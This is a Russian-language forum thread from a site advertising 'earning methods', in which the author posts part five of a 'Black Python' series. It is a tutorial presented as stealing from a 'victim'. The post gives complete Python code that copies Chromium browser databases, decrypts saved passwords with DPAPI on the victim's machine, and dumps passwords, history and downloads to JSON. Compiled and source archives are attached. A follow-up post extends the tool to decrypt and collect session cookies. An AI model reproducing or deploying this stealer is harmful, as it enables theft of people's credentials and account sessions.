• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Black Python - 5. Browser Data

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Алоха, слушатель.
В пятой статье цикла Black Python научу тебя забирать пароли, историю и список загрузок из браузеров на основе движка Chromium.
bp_browser.jpg
Хитрость движка заключается в том, что нельзя просто взять файлы с компьютера жертвы и расшифровать уже на своем, так как используется шифрование данных на основе состояния компьютера(DPAPI). Поэтому будем расшифровывать пароли на компьютере жертвы, и делать дамп в читаемом виде (json).

Browser Data

Возможности
  • Поддержка Chrome, Opera, Yandex(частично)
  • Возможность простого добавления любых других Chromium
  • Дамп данных в одну структуру (json)

Использовать будем библиотеки:
  • sqlite3 - для работы с базами браузеров (стандартная)
  • win32crypt - для расшифровки пароля (pip install pywin32)

Информация, которую мы хотим получить находится глубоко в папке AppData в файлах:
  • Login Data - база данных с зашифрованными паролями
  • History - база данных с историей просмотров и загрузок

Приступим к кодингу. Опишем базовые инструкции для получения данных браузера Google Chrome:
Python:
import os
import sqlite3

def main():
    # Определяем путь к папке с данными браузера Google Chrome
    # os.path.join - правильное объединение пути, expanduser - найти папку пользователя
    path = os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default')

    # найдем путь к файлу с паролями
    login_data = os.path.join(path, 'Login Data')
    # Подключимся к базе данных
    conn = sqlite3.connect(login_data)
    # поставим курсор
    cursor = conn.cursor()
    # определим sql запрос с выборкой полей: сайт, имя пользователя, пароль
    cmd_passwords = "SELECT origin_url, username_value, password_value FROM 'logins';"
    # выполним команду
    cursor.execute(cmd_passwords)
    # Скопируем результат выполнения запроса
    passwords = cursor.fetchall()
    # закрываем соединение
    conn.close()

    # выводим на экран найденные данные
    print(passwords)

if __name__ == '__main__':
    main()

На экране будет выведен список (при условии, что google chrome установлен и не запущен).
JSON:
[('http://127.0.0.1:8000/admin/login/', 'gh0stage', b'\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00*\x87\xe5\x9d\x06\xc08G\xb1EC%v~\xf4 \x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00\x00\x111)\x9f\xee\xbc)\xfc\x15\t\x97\xfe\x03\x8c\x1d\x8d<z\xba\xac\xce*\xd6\x0b\xa2M\xa2\xe8^A\xe9=\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\x1d\xf0\xbeH\xa9\x9a\xc3\xbe\xb1#\xd2f\xf6o\xb3_\xb7\xa5\xc5\xad\x91\xcd\xfcG\xb5\xdfD\x8c\xfd\xecJ\xaf\x10\x00\x00\x00y\xa7g\xb8Y\x03\x1c/\x01\xb4;\xb5Z\xbd\xb9\xa2@\x00\x00\x00\r[\x04\x11$fS5\xc8\x9a\xf3\x0f\xeef\xa7\x0c\xd6~y\x97\xcc \nQM@y\xda\xe4\x81\x92>\xb5q\xacK\xe6/\xda\xdb\xa6\x17\x0b7\\1\xec4\x18\x85\x8f\x10g,\xf6\xf5\x8ad\x13\t\xd2#\x9b\x88')]

Пароли зашифрованны, расшифровывать будем с помощью модуля win32crypt.
Внесем данные в структуру и сразу расшифруем пароли:
pip install pywin32
Python:
# функция для расшифровки DPAPI
from win32crypt import CryptUnprotectData as UncryptPass
    browser_data = []
    # passwords - структура из трех полей
    # проходим по всем записям с паролями
    for site, login, password in passwords:
        # добавление структуры в список, расшифровка пароля
        browser_data.append({'site': site, 'login': login, 'password': UncryptPass(password)[1].decode('utf-8')})

    # вывод записей паролей на экран
    print(browser_data)

JSON:
[{'site': 'http://127.0.0.1:8000/admin/login/', 'login': 'gh0stage', 'password': '7128gh0django'}]

Теперь разберем историю chrome:
Python:
# аналогичные действия для History
conn = sqlite3.connect(os.path.join(path, 'History'))
cursor = conn.cursor()
cmd_downloads = "SELECT target_path, total_bytes, site_url, tab_url, mime_type FROM 'downloads';"
cmd_history = "SELECT url, title, visit_count, last_visit_time FROM 'urls';"
cursor.execute(cmd_history)
history = cursor.fetchall()
cursor.execute(cmd_downloads)
downloads = cursor.fetchall()
conn.close()

print(history)
print(downloads)

С основным механизмом разобрались, теперь перейдем к рефакторингу.

Основные требования:
  • Поддержка Chrome, Yandex, Opera
  • Возможность простого добавления любых других Chromium
  • Преобразование размера скачиваемых файлов в читаемый вид
  • Преобразование дат в читаемый вид
  • Дамп данных в одну структуру (json)
  • Избавление от ошибки открытого браузера
  • Менеджер для связи с конфигом

Полученный код с комментариями:
Не забываем про pip install pywin32
Код:
import datetime
import json
import os
import shutil
import sqlite3

from win32crypt import CryptUnprotectData as UncryptPass

from additional import make_folders
from error_log import ErrorLog


# Функция для преобразования таймштампов в читаемый вид
def from_timestamp(timestamp):
    return str(datetime.datetime.fromtimestamp((timestamp / 1000000 - 11644473600) // 1))


# Преобразование размера в читаемый вид
def user_friendly_size(size):
    suffix_set = ['bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']
    level = 0
    while size > 1024:
        level += 1
        size = size / 1024
    suffix = suffix_set[level]
    if level != 0: size = f'{size:.2f}'
    return f'{size} {suffix}'


# Основной класс модуля
class BrowserData:
    # SQL-запросы для получения паролей, историю просмотра и скачиваний
    commands = {
        "passwords": "SELECT origin_url, username_value, password_value FROM 'logins';",
        "downloads": "SELECT target_path, total_bytes, site_url, tab_url, mime_type FROM 'downloads';",
        "history": "SELECT url, title, visit_count, last_visit_time FROM 'urls';"
    }

    def __init__(self):
        # лог ошибок
        self.error_log = ErrorLog()
        # Список браузеров для которых ведется поиск данных
        self.browsers = [
            # {'name' - название браузера,
            # 'path' - список папок к данным (после AppData),
            # 'data': файл Login Data,
            # 'history': файл с историей}
            {
                'name': 'Opera',
                'path': ['Roaming', 'Opera Software', 'Opera Stable'],
                'data': 'Login Data',
                'history': 'History'},
            {
                'name': 'Google',
                'path': ['Local', 'Google', 'Chrome', 'User Data', 'Default'],
                'data': 'Login Data',
                'history': 'History'},
            {
                'name': 'Yandex',
                'path': ['Local', 'Yandex', 'YandexBrowser', 'User Data', 'Default'],
                'data': 'Ya Login Data',
                'history': 'History'}]
        # переменная для дампа данных
        self.records = {}
        self.fill_data()

    # Функция по сборке пути
    @staticmethod
    def make_path(dirs):
        # путь до AppData + path из инициализации браузера
        paths = [os.path.expanduser('~'), 'AppData'] + [folder for folder in dirs]
        result = ''
        # Объединение путей в одну строку
        for path in paths:
            result = os.path.join(result, path)
        return result

    # функция заполнения данных
    def fill_data(self):
        # Для каждого браузера
        for browser in self.browsers:
            try:
                # запускаем функцию копирования бд и получения информации
                browser_data = self.copy_and_get(self.make_path(browser['path']), browser['data'], browser['history'])
                # обновляем список записей
                self.records.update({browser['name']: browser_data})
            except Exception as e:
                # если какая-то ошибка, то добавляем ее в лог
                self.error_log.add('BrowserData (fill_data)', e)

    # функция копирования бд и получения данных
    def copy_and_get(self, path, login_data='Login Data', history='History'):
        # если папка браузера существует, то
        if os.path.exists(path):
            records = {}
            # проходим по списку файлов [login_data, history] с дополнительными параметрами поиска данных
            for part_data in [(login_data, 'passwords'), (history, 'history', 'downloads')]:
                try:
                    # Получаем оригинальный файл
                    original_file = os.path.join(path, part_data[0])
                    # получаем конечный файл
                    copy_file = f'{original_file}_copy'
                    # копируем в резервный файл
                    shutil.copy(original_file, copy_file)
                    # обновляем записи и запускаем сборщик данных для резервного файла с параметрами поиска
                    records.update(self.get_data_engine(copy_file, *part_data[1:]))
                except Exception as e:
                    self.error_log.add('BrowserData (copy_and_get)', e)
            return records
        return None

    def get_data_engine(self, path, *modes):
        records = {}
        try:
            # Пробуем подключиться к базе
            conn = sqlite3.connect(path)
            # ставим курсор
            cursor = conn.cursor()
            # для каждого режима ([passwords] или  [history, downloads])
            for mode in modes:
                # запускаем функцию выполнения команд
                records.update({mode: self.get_data(cursor, mode)})
            # закрываем соединение
            conn.close()
        except Exception as e:
            self.error_log.add(f'BrowserData (get_data)', e)
        return records

    # функция исполнения команд и получения искомых структур
    @staticmethod
    def get_data(cursor, mode):
        # выполнение команды
        cursor.execute(BrowserData.commands[mode])
        # в зависимости от режима возврат нужной структуры
        if mode == 'history':
            # + преобразование timestamp в читаемую дату
            return [{'url': url, 'title': title, 'visit_count': visit_count, 'last_visit_timestamp': last_visit_time,
                     'last_visit_time': from_timestamp(last_visit_time)}
                    for url, title, visit_count, last_visit_time in cursor.fetchall()]
        elif mode == 'downloads':
            # + преобразование размера в читаемый вид
            return [{'target_path': target_path, 'total_bytes': total_bytes, 'size': user_friendly_size(total_bytes),
                     'site_url': site_url, 'tab_url': tab_url, 'mime_type': mime_type}
                    for target_path, total_bytes, site_url, tab_url, mime_type in cursor.fetchall()]
        elif mode == 'passwords':
            # + расшифровка пароля
            return [{"url": site, "login": login, "password": BrowserData.get_pwd(password)}
                    for site, login, password in cursor.fetchall()]

    # функция расшифровки пароля
    @staticmethod
    def get_pwd(password):
        try:
            # с помощью функции UncryptPass
            return UncryptPass(password)[1].decode('utf-8')
        except:
            # если не получилось, то сообщаем об этом и копируем зашифрованный пароль
            return f"(NOT DECRYPT) {password.decode('utf-8')}"

    # сохранение всех записей в файл
    def save_data(self, filename):
        with open(filename, 'w') as data_file:
            json.dump(self.records, data_file)


def browser_data_manager(config):
    browser_data = BrowserData()
    make_folders(config['filename'])
    browser_data.save_data(config['filename'])
    browser_data.error_log.save_log(config['errors_log'])


if __name__ == '__main__':
    try:
        # Для изменения конфигурации "на лету" настройки будем получать из файла
        with open('config.json', 'r') as config_file:
            bd_config = json.load(config_file)
            # Запуск механизма с загруженными настройками
            browser_data_manager(bd_config)
    except Exception as e:
        print(e)

Содержание файлов additional.py и error_log.py приводить не буду - есть в предыдущих статьях.

pywin32==224

Результат
История и загрузки получаются из всех трех браузеров, а пароли только из Chrome и Opera. Это связано с тем, что yandex их шифрует в md5 (возможно,дополнительно).
Код:
{
  "Opera": null,
  "Google": {
    "passwords": [
      {
        "url": "http://127.0.0.1:8000/admin/login/",
        "login": "gh0stage",
        "password": "7128gh0django"
      }
    ],
    "history": [
      {
        "url": "http://utorrentinfo.ru/",
        "title": "uTorrent \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 | \u0421\u043a\u0430\u0447\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0442\u043e\u0440\u0440\u0435\u043d\u0442",
        "visit_count": 1,
        "last_visit_timestamp": 13188583631420615,
        "last_visit_time": "2018-12-06 18:27:11"
      }
    ],
    "downloads": [
      {
        "target_path": "C:\\Users\\Gh0stage\\Downloads\\uTorrent.exe",
        "total_bytes": 2741576,
        "size": "2.61 MB",
        "site_url": "http://utorrentinfo.ru/",
        "tab_url": "http://utorrentinfo.ru/go/?http://download-hr.utorrent.com/track/stable/endpoint/utorrent/os/windows",
        "mime_type": "application/x-msdownload"
      }
    ]
  },
  "Yandex": {
    "passwords": [
      {
        "url": "http://127.0.0.1:8000/admin/login/",
        "login": "gh0stage",
        "password": "(NOT DECRYPT) {\"c\":\"\",\"e\":\"\",\"p\":\"nhnd95xaK4YB+rx28zb1ZUxQzEZYvvvJfXDjbBSK/OXIc6/rhHPThB0=\"}"
      }
    ],
    "history": [
      {
        "url": "https://market.yandex.ru/?clid=2288477",
        "title": "",
        "visit_count": 0,
        "last_visit_timestamp": 13188089069384693,
        "last_visit_time": "2018-12-01 01:04:29"
      }
    ],
    "downloads": [
      {
        "target_path": "C:\\Users\\Gh0stage\\Downloads\\python-3.7.1.exe",
        "total_bytes": 25537464,
        "size": "24.35 MB",
        "site_url": "https://python.org/",
        "tab_url": "https://www.python.org/downloads/",
        "mime_type": "application/octet-stream"
      },
      {
        "target_path": "C:\\Users\\Gh0stage\\Downloads\\pycharm-community-2018.3.exe",
        "total_bytes": 217462472,
        "size": "207.39 MB",
        "site_url": "https://jetbrains.com/",
        "tab_url": "https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows&code=PCC",
        "mime_type": "binary/octet-stream"
      },
      {
        "target_path": "C:\\Users\\Gh0stage\\Downloads\\AtomSetup-x64.exe",
        "total_bytes": 146956832,
        "size": "140.15 MB",
        "site_url": "https://atom.io/",
        "tab_url": "https://atom.io/",
        "mime_type": "application/octet-stream"
      }
    ]
  }
}
Пути масштабирования:
  • Расшифровка yandex паролей, а не только записи о сохраненном пароле (логин + зашифрованный пароль)
  • Добавление других браузеров, например, Firefox - в нем другая структура хранения паролей другие методы шифровки.
Архивы с исходниками и исполняемым файлом+конфигом прикладываю.
 

Вложения

  • browser_data_exe.zip
    5,8 MB · Просмотры: 253
  • browser_data_source.zip
    4,7 KB · Просмотры: 235

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Полезные статьи, продолжайте ещё.
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Обновил немного модуль - добавил сбор куки в словари по сайтам.

JSON:
{
  "cookies": {
    ".vk.com": {
      "remixlang": "0",
      "remixgp": "05db7********************eabe0aa",
      "remixseenads": "1",
      "remixusid": "ZDBmN********************mNiYzI3",
      "remixdt": "0",
      "remixflash": "0.0.0",
      "remixjsp": "SomeLongStringData",
      "remixlhk": "8a27a**********2d4",
      "remixscreen_depth": "24",
      "remixscreen_orient": "1",
      "remixstid": "0_a4eb**********adc5"
    }
  }
}

Python:
class BrowserData:
    commands = { # ...
        "cookies": "SELECT host_key, name, encrypted_value FROM 'cookies';"}
    def __init__(self):
        # ...
        self.browsers = [
            {   # ...,
                'cookies': 'Cookies'},
            {# ...
                'cookies': 'Cookies'},
            {# ...
                'cookies': 'Cookies'}]
        # ...

    def fill_data(self):
        # ...
        browser_data = self.copy_and_get(self.make_path(browser['path']), browser['data'], browser['history'], browser['cookies'])
        # ...

    def copy_and_get(self, path, login_data='Login Data', history='History', cookies='Cookies'):
        # ...
        for part_data in [(login_data, 'passwords'), (history, 'history', 'downloads'), (cookies, 'cookies')]:
        # ...

    def get_data(self, cursor, mode):
        # ...
        elif mode == 'cookies':
            return self.get_cookies(cursor.fetchall())

    # ...
    def get_cookies(self, cookie_list):
        organize_cookies = {}
        try:
            for cookie in [{'site': host_key, 'name': name, 'value': self.get_pwd(encrypted_value)}
                           for host_key, name, encrypted_value in cookie_list]:
                if cookie['site'] not in organize_cookies:
                    organize_cookies[cookie['site']] = {}
                organize_cookies[cookie['site']].update({cookie['name']: cookie['value']})
        except Exception as e:
            self.error_log.add('BrowserData (get_cookies)', e)
        return organize_cookies

Исходники с изменениями прикрепил
 

Вложения

  • browser_data_source.zip
    4 KB · Просмотры: 200
Сверху Снизу